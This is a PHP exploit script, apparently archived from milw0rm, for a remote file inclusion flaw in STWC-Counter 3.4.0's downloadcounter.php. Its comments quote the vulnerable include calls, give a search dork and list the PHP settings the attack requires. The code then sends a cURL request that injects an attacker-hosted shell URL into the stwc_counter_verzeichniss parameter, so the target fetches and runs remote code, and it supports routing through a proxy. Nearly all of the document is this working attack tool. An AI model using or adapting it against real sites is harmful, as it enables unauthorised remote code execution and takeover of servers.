STWC-Counter 3.4.0 - 'downloadcounter.php' Remote File Inclusion

<?php

//File Inclusion Exploit for STWC-Counter <= 3.4.0.0
//Found and Exploit Coded by burncycle - burncycle[(at)]robert-beran[(dot)]de
//|
//Vendor: http://www.stwc-counter.de/
//Dork: www.stwc-counter.de
//|
//Bug in "downloadcounter.php":
//..
//$stwc_verzeichniss = $stwc_counter_verzeichniss;
//..
//include($stwc_verzeichniss . "funktionen_intern.php");
//include($stwc_verzeichniss . "einstellungen.php");
//include($stwc_verzeichniss . "funktionen_ausgabe.php");
//..
//include($stwc_verzeichniss . "sprache/deutsch.php");
//..
//include($stwc_verzeichniss . "sprache/english.php");
//..
//|
//Usage: php exploit.php [pathtoscript] [pathtoshell] ([proxy:port])
//Example: php exploit.php http://pathtoscript.com/counter/ http://pathtoshell.com/shell.txt? (localhost:8118)
//|
//Your Box Needs the cURL extension of PHP
//The exploit works only with register_globals = On, allow_url_fopen = On and allow_url_include = On PHP settings on the target box
//|
//Edited 20.05.2007 by ensai (the same person as burncycle ;))
//Added proxy support, working conditions supplemented and easier file inclusion statement

//Nur ausnahme Fehler anzeigen
error_reporting(1);

echo "Usage: php ".$_SERVER["argv"][0]." [pathtoscript] [pathtoshell] ([proxy:port])\r\n\r\n";
echo "Example: php ".$_SERVER["argv"][0]." http://pathtoscript.com/counter/ http://pathtoshell.com/shell.txt? (localhost:8118)\r\n\r\n";

//Schauen ob alles angegeben wurde
if(!empty($_SERVER["argv"][1]) && !empty($_SERVER["argv"][2]))
{

  $pathtoscript = $_SERVER["argv"][1];
  $pathtoshell = $_SERVER["argv"][2];

  //erzeuge ein neues cURL Handle
  $ch = curl_init();

  //proxy setzen
  if (!empty($_SERVER['argv'][3]))
  {
    curl_setopt($ch, CURLOPT_PROXY, $_SERVER['argv'][3]);
  }

  //setzte die URL und andere Optionen
  curl_setopt($ch, CURLOPT_URL, $pathtoscript."downloadcounter.php?stwc_counter_verzeichniss=".$pathtoshell);
  curl_setopt($ch, CURLOPT_HEADER, 0);

  //f?hre die Aktion aus
  curl_exec($ch);

  //schlie?e das Handle und gebe Systemresourcen frei
  curl_close($ch);

}

?>

# milw0rm.com [2007-02-26]